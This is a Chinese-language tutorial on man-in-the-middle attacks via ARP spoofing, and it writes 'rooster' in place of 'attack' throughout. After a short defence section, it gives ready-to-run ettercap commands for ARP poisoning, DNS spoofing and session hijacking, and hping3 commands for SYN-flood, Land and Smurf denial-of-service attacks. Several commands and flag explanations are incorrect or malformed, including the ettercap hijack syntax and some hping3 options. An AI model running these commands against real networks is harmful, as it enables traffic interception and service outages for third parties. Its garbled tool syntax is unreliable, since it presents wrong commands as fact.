中间人公鸡(Man-in-the-Middle Attack,MITM)是一种网络公鸡放式,公鸡者位于通信双方之间,截获、篡改或伪造通信数据。ARP欺骗(Address Resolution Protocol Spoofing)是实现中间人公鸡的一种常见手段。
ARP协议是用来将网络层的IP地址映射到数据链路层的MAC地址的协议。在局域网中,当一台设备想要与另一台设备通信时,它首先发送ARP请求,询问目标IP地址对应的MAC地址是什么。接收到ARP请求的设备,如果其IP地址与请求中的目标IP地址匹配,就会回复自己的MAC地址。这样,两台设备就可以通过MAC地址进行数据交换了。
ARP欺骗的基本思路是让公鸡者的设备假冒目标设备的MAC地址,使得其他设备误以为公鸡者的设备就是目标设备。这样,公鸡者就可以截获原本应该发送给目标设备的数据包。
下面是一个ARP欺骗公鸡的基本步骤:
监听网络:公鸡者首先需要监听目标网络的流量,以便发现ARP请求和响应。
发送伪造的ARP响应:当检测到ARP请求时,公鸡者发送一个伪造的ARP响应,声称自己(公鸡者)的MAC地址就是请求中的目标IP地址的MAC地址。
建立虚假连接:如果其他设备相信了公鸡者发送的伪造ARP响应,它们就会开始将数据包发送到公鸡者的MAC地址。
截获和篡改数据:公鸡者现在可以截获发送给目标设备的数据包,并在必要时篡改这些数据包的内容。
维持公鸡:为了保持中间人状态,公鸡者需要定期发送伪造的ARP响应,以防止网络中的其他设备发现真实的MAC地址。
防御措施
为了防御ARP欺骗公鸡,可以采取以下措施:
静态ARP记录:在关键设备上设置静态ARP记录,绑定已知的IP地址和MAC地址对,这样可以避免接受伪造的ARP响应。
使用加密协议:使用端到端的加密协议(如HTTPS、SSH等),即使数据包被截获,公鸡者也无法轻易解密和篡改内容。
网络监控和入侵检测:部署网络监控和入侵检测系统,及时发现和阻断可疑的ARP响应。
交换机端口安全:在交换机上配置端口安全,限制可以访问某个端口的MAC地址数量或指定允许的MAC地址。
VLAN隔离:通过VLAN技术将网络分割成多个逻辑子网,减少ARP欺骗的公鸡面。
使用ARP防护工具:使用一些专门的ARP防护工具,如ArpGuard、Snort等,来检测和防御ARP欺骗公鸡。
通过以上措施,可以在一定程度上降低ARP欺骗公鸡的风险,保护网络的安全性。
ettercap
其中 <interface> 是你要使用的网络接口,例如 eth0 或 wlan0。
选择公鸡模式:
按 Ctrl + A 进入公鸡模式选择菜单。
选择你需要的公鸡模式,例如 ARP Poisoning。
设置目标:
按 T 键进入目标设置菜单。
添加目标设备和网关设备的 IP 地址。
执行公鸡:
按 Y 键开始执行公鸡。
监控流量:
在公鸡过程中,Ettercap 会显示捕获的数据包,可以实时监控和分析网络流量。
进阶用法
ARP 欺骗公鸡:
步骤:
启动 Ettercap。
选择 ARP 分类,然后选择 ARP Poisoning 公鸡模式。
设置目标设备和网关设备的 IP 地址。
开始执行公鸡。
示例命令:
ettercap -T -q -M arp:remote /192.168.1.0/ /192.168.1.254/
其中 -T 表示文本模式,-q 表示安静模式,-M arp:remote 指定使用 ARP 欺骗公鸡模式,/192.168.1.0/ 是目标网络地址,/192.168.1.254/ 是网关 IP 地址。
DNS 欺骗公鸡:
步骤:
启动 Ettercap。
选择 DNS 分类,然后选择 DNS Spoof 公鸡模式。
设置目标设备的 IP 地址和要欺骗的域名。
开始执行公鸡。
示例命令:
ettercap -T -q -M dns:remote /www.google.com/ /192.168.1.0/
其中 -M dns:remote 指定使用 DNS 欺骗公鸡模式,/www.google.com/ 是要欺骗的域名,/192.168.1.0/ 是目标网络地址。
会话劫持:
步骤:
启动 Ettercap。
执行 ARP 欺骗公鸡,使目标设备和网关设备之间的流量通过 Ettercap。
使用 ettercap -S 命令查看当前捕获的会话。
使用 ettercap -K <session_id> 命令劫持指定会话。
示例命令:
ettercap -T -q -M arp:remote /192.168.1.0/ /192.168.1.254/ ettercap -S ettercap -K 1
其中 <session_id> 是要劫持的会话 ID。
hping3
hping3 是一个用于教育和研究目的的网络工具,它可以发送自定义的 TCP/IP 数据包,并显示目标的回复。它类似于 ping 工具,但提供了更多的功能和灵活性,比如支持 TCP、UDP、ICMP 和 RAW-IP 协议,能够跟踪路由模式,能够在覆盖的信道之间发送文件,还支持使用 Tcl 脚本自动化地调用其 API。
基本用法
安装 hping3:
在 Debian/Ubuntu 系统上,可以使用以下命令安装 hping3:
sudo apt-get install hping3
1.
基本语法:
hping3 [options] <target>
1.
其中 <target> 是你要测试的目标 IP 地址或域名。
常用选项:
-c count:发送指定数量的数据包。
-d data:在数据包中包含指定的数据。
-f:开启碎片模式。
-i interval:设置数据包发送间隔。
-l length:设置数据包长度。
-p port:指定目标端口。
-s source_port:指定源端口。
-t ttl:设置数据包的生存时间(TTL)。
-v:增加输出的详细程度。
-V:显示版本信息。
示例
图中的文字主要涉及使用hping3工具发起不同类型的网络公鸡和扫描操作。下面是文字的提取以及相应代码的详解:
LandAttack(源自的地址相同)
hping3 -S*c 100 -a <sip> -p 22 <dip>
这行命令是进行Land公鸡,这是一种拒绝服务公鸡,其中源地址和目标地址被设置为相同的值。-S* 表示使用TCP SYN洪水模式,-c 100 表示发送100个数据包,-a <sip> 指定欺骗源IP地址,-p 22 指定目标端口,<dip> 为目标IP地址。
DOS公鸡
hping3 -S -d 100 -w 64 -p 445 -s 445 --flood --rand-source <IP>
这是一个针对SMB协议的拒绝服务公鸡命令。-S 使用TCP SYN洪水攻公鸡击,-d 100 设置数据包的大小为100字节,-w 64 设置TCP窗口大小为64字节,-p 445 和 -s 445 分别指定目标端口和源端口为445,这是SMB服务的默认端口,--flood 持续发包,不等待回应,--rand-source 使用随机源IP地址,<IP> 为目标IP地址。
Smurf公鸡
hping3 -1 --flood -a <dip> 1.1.1.255
Smurf公鸡是一种利用IP广播进行放大的拒绝服务公鸡。-1 表示使用ICMP协议,--flood 持续发包,-a <dip> 指定欺骗的源地址,1.1.1.255 是一个广播地址,用于向该网络内的所有主机发送请求。
扫描地址掩码
hping3 -1 -c 1 -V -C 17 <dip>
这是用来进行ICMP扫描的命令,-1 使用ICMP协议,-c 1 只发送一个数据包,-V 显示版本信息,-C 17 指定ICMP报文的类型为17(地址掩码请求),<dip> 为目标IP地址。
端口扫描
hping3 -c 1 -V -p 80 -s 5050 -<SFXYARPU> <dip>
这条命令用于对目标主机进行端口扫描。-c 1 发送一个数据包,-V 显示版本信息,-p 80 指定目标端口为80,通常用于HTTP服务,-s 5050 指定本地端口为5050,<SFXYARPU> 可能是某种特定参数或标识,<dip> 为目标IP地址。
使用sudo权限运行hping3
sudo hping3 -8 1-1000 -S 172.31.1.30
这是以sudo权限运行hping3的命令,可能用于确保有足够的权限执行某些操作。-8 表示每个数据包的大小,1-1000 指定发包的范围,-S 使用TCP SYN模式,172.31.1.30 为目标IP地址。
基本用法
发送 ICMP 数据包:
hping3 -c 10 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个 ICMP 数据包。
发送 TCP 数据包:
hping3 -c 10 -p 80 192.168.1.1
这将向目标 IP 地址 192.168.1.1 的 80 端口发送 10 个 TCP 数据包。
发送 UDP 数据包:
hping3 -c 10 -p 53 -u 192.168.1.1
这将向目标 IP 地址 192.168.1.1 的 53 端口发送 10 个 UDP 数据包。
跟踪路由模式:
hping3 -c 10 -t 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,并跟踪它们的路由路径。
进阶用法
自定义数据包内容:
使用 -d 选项可以指定数据包中的数据内容。
hping3 -c 10 -d 'Hello, World!' 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个包含 “Hello, World!” 的数据包。
设置数据包长度:
使用 -l 选项可以指定数据包的长度。
hping3 -c 10 -l 100 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个长度为 100 字节的数据包。
设置数据包发送间隔:
使用 -i 选项可以设置数据包之间的发送间隔。
hping3 -c 10 -i 1.0 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,每个数据包之间间隔 1 秒。
指定源端口和目标端口:
使用 -s 和 -p 选项可以指定源端口和目标端口。
hping3 -c 10 -s 1234 -p 80 192.168.1.1
这将从源端口 1234 向目标 IP 地址 192.168.1.1 的 80 端口发送 10 个数据包。
设置数据包的 TTL(Time To Live):
使用 -t 选项可以设置数据包的 TTL 值。
hping3 -c 10 -t 10 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个 TTL 值为 10 的数据包。
使用碎片模式:
使用 -f 选项可以启用碎片模式,将数据包分成多个小片段。
hping3 -c 10 -f 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个碎片化的数据包。
跟踪路由模式:
使用 -T 选项可以启用跟踪路由模式(类似traceroute)。
hping3 -c 10 -T 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,并跟踪它们的路由路径。
使用脚本自动化:
hping3 支持使用 Tcl 脚本来自动化操作。
hping3 -c 10 -S -p 80 -t 10 -i 1.0 -d 'Hello, World!' -l 100 -s 1234 -T 192.168.1.1
这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,每个数据包之间间隔 1 秒,数据包包含 “Hello, World!”,长度为 100 字节,源端口为 1234,目标端口为 80,TTL 值为 10,并跟踪它们的路由路径。